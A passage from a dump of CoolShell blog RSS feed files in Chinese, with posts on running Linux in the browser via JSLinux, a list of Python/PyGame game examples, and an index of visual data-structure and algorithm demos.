class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4758.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>146</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-18.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 18 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=18\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 16 Dec 2021 04:47:06 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>在Web上运行Linux</title>\n\t\t<link>https://coolshell.cn/articles/4722.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4722.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 19 May 2011 00:35:08 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[BusyBox]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[QEMU]]></category>\n\t\t<category><![CDATA[TinyCC]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4722</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>一个叫Fabrice Bellard的程序员写了一段Javascript在Web浏览器中启动Linux（原网页，我把这个网页iframe在了下面），目前，你只能...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4722.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4722.html\">在Web上运行Linux</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>一个叫Fabrice Bellard的程序员写了一段Javascript在Web浏览器中启动Linux（<a href=\"http://bellard.org/jslinux/\" target=\"_blank\">原网页</a>，我把这个网页iframe在了下面），目前，你只能使用Firefox 4和Chrome 11运行这个Linux。这不是什么假的模仿Linux的东西，这是实实在在的运行一个Linux。这一举动还引起了很多很牛人的关注，包括Javascript的创建者<a href=\"http://twitter.com/#!/BrendanEich/status/70393502328045568\" target=\"_blank\">Brendan Eich</a>。</p>\n<p align=center><button id=\"jslinux-stop\" style=\"display: none\" onclick=\"document.getElementById('jslinux').src='about:blank';document.getElementById('jslinux-stop').style.display='none';document.getElementById('jslinux-start').style.display='block';\">清除启动</button><button  id=\"jslinux-start\" onclick=\"document.getElementById('jslinux').src='http://bellard.org/jslinux/';document.getElementById('jslinux-start').style.display='none';document.getElementById('jslinux-stop').style.display='block';\">开始启动</button></p>\n<p align=center><iframe loading=\"lazy\" id=\"jslinux\" frameborder=\"0\" style=\"background:#000;border:0\" width=\"700\" height=\"540\" src=\"\"></iframe></p>\n<p><span id=\"more-4722\"></span></p>\n<p>随后，Fabrice Bellard发布了相关的技术说明：<a href=\"http://bellard.org/jslinux/tech.html\" target=\"_blank\">http://bellard.org/jslinux/tech.html</a>，从这份文档中我们可以看到：</p>\n<ul>\n<li>这个模似器完全由Javascript写成</li>\n<li>CPU仿真器使用的是<a href=\"http://qemu.org/\">QEMU</a>（接近于原古的486），为了装上Linux，其做了一些改动。</li>\n<li>Javascript的终端本来可以使用<a href=\"http://www.masswerk.at/termlib/\">termlib</a>，但他还是自己写了一个，因为OS的按键和Web浏览器不一样（<a href=\"http://unixpapa.com/js/key.html\">here</a>）</li>\n<li>Linux  使用了2.6.20内核，编译配置在<a href=\"http://bellard.org/jslinux/config_linux-2.6.20\" target=\"_blank\">这里</a>，并做了一些<a href=\"http://bellard.org/jslinux/patch_linux-2.6.20\" target=\"_blank\">小改动</a>。</li>\n<li>磁盘用的是Ram Disk，在启动的时候装载。其文件系统由<a href=\"http://buildroot.uclibc.org/\">Buildroot</a> 和<a href=\"http://www.busybox.net/\">BusyBox</a>产生。</li>\n<li>在Home目录下有一个hello.c的程序，你可以使用<a href=\"http://bellard.org/tcc\">TinyCC</a>编译（tcc，参看酷壳的<a title=\"用TCC可以干些什么？\" href=\"https://coolshell.cn/articles/786.html\" target=\"_blank\">这篇文章</a>）</li>\n</ul>\n<p>从这个事我有这些感触，</p>\n<ol>\n<li>在Web上运行一个Linux的操作系统不是问题。那么在Web上还有什么不能做的吗？</li>\n<li>Linux真是性能很高，在Javascript下运行感觉也不慢啊。</li>\n<li>真是Techno-Geek。</li>\n</ol>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4722.html\">在Web上运行Linux</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4722.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>97</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python 和 PyGame 的一些示例</title>\n\t\t<link>https://coolshell.cn/articles/4710.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4710.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 18 May 2011 00:43:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[pygame]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4710</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>看到一个网页收集了很多使用Python和PyGame写游戏的示例，分享给大家。（注：我不知道用Python/PyGame写游戏其性能会怎么样，但是一些小游戏应该...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4710.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>看到<a href=\"http://cs.simpson.edu/?q=python_pygame_examples\" target=\"_blank\">一个网页</a>收集了很多使用Python和PyGame写游戏的示例，分享给大家。（注：我不知道用Python/PyGame写游戏其性能会怎么样，但是一些小游戏应该是没有问题的）</p>\n<p>这个网页同时给了一本<a href=\"http://cs.simpson.edu/files/CS_Intro_Book.pdf\" target=\"_blank\">介绍Python和PyGame的电子书</a>（PDF），下面的这些例子就是这本书的示例。所有的这些示例可以<a href=\"http://cs.simpson.edu/files/Python%20Examples.zip\" target=\"_blank\">打包下载</a>。</p>\n<h4>基础 Python 示例</h4>\n<ul>\n<li><a href=\"http://cs.simpson.edu/?q=if_statement_examples.py\">if_statement_examples.py</a> &#8211; if 语句的一个简单示例</li>\n<li><a href=\"http://cs.simpson.edu/?q=for_loops_examples.py\">for_loop_examples.py</a> &#8211; for 语句的一个简单示例.</li>\n<li><a href=\"http://cs.simpson.edu/?q=while_loop_examples.py\">while_loop_examples.py</a> &#8211; while 语句的一个简单示例</li>\n</ul>\n<h4>Pygame 图形示例</h4>\n<table border=\"0\" cellspacing=\"1\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=pygame_base_template.py\">pygame_base_template.py</a> &#8211; 开启一个黑的 pygame 窗口。当你要写一个新的代码时，你可以使用这个示例的代码初始化你的程序。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/pygame_base_template.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/pygame_base_template_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=simple_graphics_demo.py\">simple_graphics_demo.py</a> &#8211; 作图，画一些简单的图形。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/simple_graphics_demo.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/simple_graphics_demo_thumb.png\" alt=\"simple_graphics_demo_thumb.png\" /></a></td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-4710\"></span></p>\n<table border=\"0\" cellspacing=\"1\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=functions_and_graphics.py\">functions_and_graphics.py</a> &#8211; 图一些雪人。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/functions_and_graphics.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/functions_and_graphics_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=animating_snow.py\">animating_snow.py</a> &#8211; 下雪动画。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/animating_snow.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/animating_snow_thumb.png\" alt=\"Animating Snow\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=move_keyboard.py\">move_keyboard.py</a> &#8211; 使用键盘移动一个图形</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_mouse.py\">move_mouse.py</a> &#8211; 使用鼠标移动一个图形</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_game_controller.py\">move_game_controller.py</a> &#8211; 使用游戏手柄移动一个图形</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/move_keyboard.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/move_keyboard_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=bitmapped_graphics.py\">bitmapped_graphics.py</a> &#8211; 显示一些图片（png, jpb），并加入一些声音。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/bitmapped_graphics.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/bitmapped_graphics_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=array_backed_grid.py\">array_backed_grid.py</a> &#8211; 一个网格，可以用来开发一些棋类的游戏。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/array_backed_grid.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/array_backed_grid_thumb.png\" alt=\"\" /></a></td>\n</tr>\n</tbody>\n</table>\n<h4>Pygame 示例</h4>\n<table border=\"0\" cellspacing=\"1\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=sprite_collect_blocks.py\">sprite_collect_blocks.py</a> &#8211; 使用鼠标移动一个小点</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_blocks.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_blocks_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=sprite_collect_circle.py\">sprite_collect_circle.py</a> &#8211; 和上面的示例一样，只不过是圆点。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_circle.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_circle_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=sprite_collect_graphic.py\">sprite_collect_graphic.py</a> &#8211; 和上面的示例一样，只不过是图片。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_graphic.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_graphic_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=move_sprite_mouse.py\">move_sprite_mouse.py</a> &#8211; 用鼠标移动一个点</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_sprite_keyboard_jump.py\">move_sprite_keyboard_jump.py</a> &#8211; 用键盘移动一个点（跳动式的）</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_sprite_keyboard_smooth.py\">move_sprite_keyboard_smooth.py</a> &#8211; 用键盘移动一个点（平滑式的）.</p>\n<p><a href=\"http://cs.simpson.edu/?q=move_sprite_game_controller.py\">move_sprite_game_controller.py</a> &#8211; 用游戏手柄移动一个点</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/move_sprite_mouse.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/move_sprite_mouse_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=move_with_walls_example.py\">move_with_walls_example.py</a> &#8211; 移动一个点，但是会被墙阻止。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/move_with_walls_example.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/move_with_walls_example_thumb.png\" alt=\"\" /></a></td>\n</tr>\n</tbody>\n</table>\n<h4>游戏示例</h4>\n<table border=\"0\" cellspacing=\"1\" cellpadding=\"1\">\n<tbody>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=bounce_ball_with_paddle.py\">bounce_ball_with_paddle.py</a> &#8211; 两个玩家玩对碰球游戏，需要两个手柄。</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/bounce_ball_with_paddle.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/bounce_ball_with_paddle_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td><a href=\"http://cs.simpson.edu/?q=breakout_simple.py\">breakout_simple.py</a> &#8211; 一个简单的游戏，显示 &#8220;Game Over&#8221; 信息.</td>\n<td><a href=\"http://cs.simpson.edu/files/python_examples/screenshots/breakout_simple.png\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/breakout_simple_thumb.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td>一个学生的作业. <a href=\"http://cs.simpson.edu/?q=node/62\">Spring 2011</a></td>\n<td><a href=\"http://cs.simpson.edu/?q=node/62\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/2011spring.png\" alt=\"\" /></a></td>\n</tr>\n<tr>\n<td>另一个学生的作业.<a href=\"http://cs.simpson.edu/21\"> Fall 2010</a></p>\n<p><a href=\"http://cs.simpson.edu/?q=node/23\">Download games</a> &#8211; .</td>\n<td><a href=\"http://cs.simpson.edu/?q=node/21\"><img decoding=\"async\" src=\"http://cs.simpson.edu/files/python_examples/screenshots/sample_games_vid.png\" alt=\"\" /></a></td>\n</tr>\n</tbody>\n</table>\n<h4>创建一个安装包</h4>\n<p><a href=\"http://cs.simpson.edu/?q=make_an_installer_for_your_python_program\">Python Pygame 安装包教程 </a></p>\n<h4>搜索和排序示例</h4>\n<ul>\n<li><a href=\"http://cs.simpson.edu/files/example_sorted_names.txt\">example_sorted_names.txt</a> &#8211; Sample file of names used in searching_example.py</li>\n<li><a href=\"http://cs.simpson.edu/?q=searching_example.py\">searching_example.py</a> &#8211; Example linear and binary searches</li>\n<li><a href=\"http://cs.simpson.edu/files/AliceInWonderLand.txt\">AliceInWonderLand.txt</a> &#8211; Text of Alice In Wonderland. Source: <a href=\"http://www.gutenberg.org/wiki/Main_Page\">Project Gutenberg</a></li>\n<li><a href=\"http://cs.simpson.edu/files/AliceInWonderLand200.txt\">AliceInWonderLand200.txt</a></li>\n<li><a href=\"http://cs.simpson.edu/files/dictionary.txt\">dictionary.txt</a></li>\n<li><a href=\"http://cs.simpson.edu/?q=sorting_examples.py\">sorting_examples.py</a> &#8211; Example code for the insertion and selection sorts.</li>\n</ul>\n<h4>文件示例</h4>\n<p><a href=\"http://cs.simpson.edu/?q=high_score.py\">high_score.py</a> &#8211; Example that shows how to read and write a high score to the disk so that it persists between program runs.</p>\n<h4>其它信息</h4>\n<ul>\n<li><a href=\"http://www.pygame.org/\">Pygame Website</a> &#8211; Pygame 主站</li>\n<li><a href=\"http://www.pygame.org/docs/\">Pygame Documentation</a> &#8211; Pygame 文档</li>\n</ul>\n<p>（全文完）</p>\n<p>——————————</p>\n<p><strong><span style=\"color: #000000;\">最后，不好意思很久没有更新酷壳，这段时间在国外出差，事多，5月31回国。大家见谅！</span></strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li><li ><a href=\"https://coolshell.cn/articles/1928.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"如何使用Python操作摄像头\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1928.html\" class=\"wp_rp_title\">如何使用Python操作摄像头</a></li><li ><a href=\"https://coolshell.cn/articles/1157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"Python 自然语言处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1157.html\" class=\"wp_rp_title\">Python 自然语言处理</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4710.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>可视化的数据结构和算法</title>\n\t\t<link>https://coolshell.cn/articles/4671.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4671.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 04 May 2011 06:26:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4671</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得之前发布过的那个关于可视化排序的文章吗？在网上又看到了一个旧金山大学David Galles做的各种可视化的数据结构和基本算法的主页，网址在这里，大家可以...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4671.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得之前发布过的那个<a title=\"可视化的排序过程\" href=\"https://coolshell.cn/articles/3933.html\" target=\"_blank\">关于可视化排序</a>的文章吗？在网上又看到了一个旧金山大学<a href=\"http://www.cs.usfca.edu/galles\">David Galles</a>做的各种可视化的数据结构和基本算法的主页，<a href=\"http://www.cs.usfca.edu/~galles/visualization/Algorithms.html\" target=\"_blank\">网址在这里</a>，大家可以看看。我把这个页面的目录列在下面并翻译了一下，大家可以直接点击了。</p>\n<p>不知道国内的教育有没有相关的教学课件，至少在我大学的时候是没有的。</p>\n<h4>基础</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/StackArray.html\">Stack栈: 数组实现</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/StackLL.html\">Stack栈: 链表实现</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/QueueArray.html\">Queues队列: 数组实现</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/QueueLL.html\">Queues队列: 链表实现</a></li>\n<li>Lists列表: 数组实现 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版演示)</li>\n<li>Lists列表: 链表实现 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/java/visualization.html\">java</a> 版演示)</li>\n</ul>\n<h4>索引</h4>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BST.html\">Binary Search Trees</a> 二叉检索树</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/AVLTree.html\">AVL Trees (平衡二叉检索树)</a></li>\n<li>Red-Black Trees 红黑树 ( <a href=\"http://www.cs.usfca.edu/~galles/visualization/flash.html\">flash</a> 版本演示)</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/OpenHash.html\">Open Hash Tables 开放哈希表(Closed Addressing 链地址法)</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ClosedHash.html\">Closed Hash Tables  闭合哈希表 (Open Addressing 开放定址法)</a></li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ClosedHashBucket.html\">Closed Hash Tables, using buckets</a> 使用桶</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BTree.html\">B Trees</a> B树</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BPlusTree.html\">B+ Trees</a> B+树</li>\n</ul>\n<p><span id=\"more-4671\"></span></p>\n<p><a></a></p>\n<p><a></p>\n<li style=\"display: inline !important;\">\n<h4>排序</h4>\n</li>\n<p></a></p>\n<ul>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html\">Comparison Sorting</a> 比较式排序\n<ul>\n<li>Bubble Sort 冒泡排序</li>\n<li>Selection Sort 选择排序</li>\n<li>Insertion Sort 插入排序</li>\n<li>Shell Sort 希尔排序</li>\n<li>Merge Sort 归并排序</li>\n<li>Quck Sort 快速排序</li>\n</ul>\n</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/BucketSort.html\">Bucket Sort</a> 桶排序</li>\n<li><a href=\"http://www.cs.usfca.edu/~galles/visualization/CountingSort.html\">Counting Sort</a> 计数排序</li>\n<li><a 